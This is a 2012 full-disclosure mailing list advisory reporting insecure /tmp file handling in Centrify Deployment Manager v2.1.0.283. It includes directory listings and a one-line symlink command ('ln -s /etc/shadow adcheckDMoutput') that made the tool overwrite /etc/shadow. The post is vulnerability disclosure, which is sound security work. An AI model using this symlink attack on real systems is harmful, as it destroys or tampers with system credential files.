full-disclosure - Centrify Deployment Manager v2.1.0.283 /tmp insecure file handling

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Message-id: <e3e286e5-74f2-4581-825a-4eed04d580a4@me.com>
Date: Mon, 03 Dec 2012 21:50:22 +0000 (GMT)
From: larry Cashdollar <larry0@...com>
To: full <full-disclosure@...ts.grok.org.uk>
Cc: submissions@...ketstormsecurity.org
Subject: Centrify Deployment Manager v2.1.0.283 /tmp
	insecure file handling

Centrify Deployment Manager v2.1.0.283

While at a training session for centrify, I noticed poor handling of files in /tmp. I was able to overwrite /etc/shadow with the contents of adcheckDMoutput.

I am sure there are more vulnerabilities to be exploit, maybe a local root - but being this is a training class I should probably focus.....

total 6680
-rwxr-xr-x 1 clyde clyde 6790300 Dec 3 14:41 adcheck-rhel3-i386.210

-rw-rw-r-- 1 clyde clyde     188 Dec  3 14:41 centrify.cmd.210
-rwxr-xr-x 1 root  root      187 Dec  3 14:18 engnew-cen.sh
drwx------ 2 root  root     4096 Dec  3 10:25 vmware-root
drwxr-xr-x 7 root  root     4096 Nov 30  2010 vmware-tools-distrib

[root@...new-cen tmp]# ls -l
total 6680

-rw-rw-rw- 1 root  root     3999 Dec  3 14:41 adcheckDMoutput
-rwxr-xr-x 1 clyde clyde 6790300 Dec  3 14:41 adcheck-rhel3-i386.210
-rwxr-xr-x 1 root  root      187 Dec  3 14:18 engnew-cen.sh
drwx------ 2 root  root     4096 Dec  3 10:25 vmware-root
drwxr-xr-x 7 root  root     4096 Nov 30  2010 vmware-tools-distrib

[root@...new-cen tmp]# ls -l
total 6688

-rw-rw-rw- 1 root  root     3999 Dec  3 14:41 adcheckDMoutput 
-rwxr-xr-x 1 clyde clyde 6790300 Dec  3 14:41 adcheck-rhel3-i386.210
-rwxr-xr-x 1 clyde clyde     132 Dec  3 14:41 centrify.cmd.210
-rwxr-xr-x 1 root  root      187 Dec  3 14:18 engnew-cen.sh
drwx------ 2 root  root     4096 Dec  3 10:25 vmware-root
drwxr-xr-x 7 root  root     4096 Nov 30  2010 vmware-tools-distrib

[root@...new-cen tmp]# ls -l
total 6672
-rwxr-xr-x 1 clyde clyde 6790300 Dec 3 14:41 adcheck-rhel3-i386.210 -rwxr-xr-x 1 root root 187 Dec 3 14:18 engnew-cen.sh

# ln -s /etc/shadow adcheckDMoutput
# ls -l /etc/shadow
-r-------- 1 root root 3999 Dec 3 14:56 /etc/shadow
I am also assuming the .210 appended to the end of files in /tmp is the major version number.

Larry W. Cashdollar
@_larry0 
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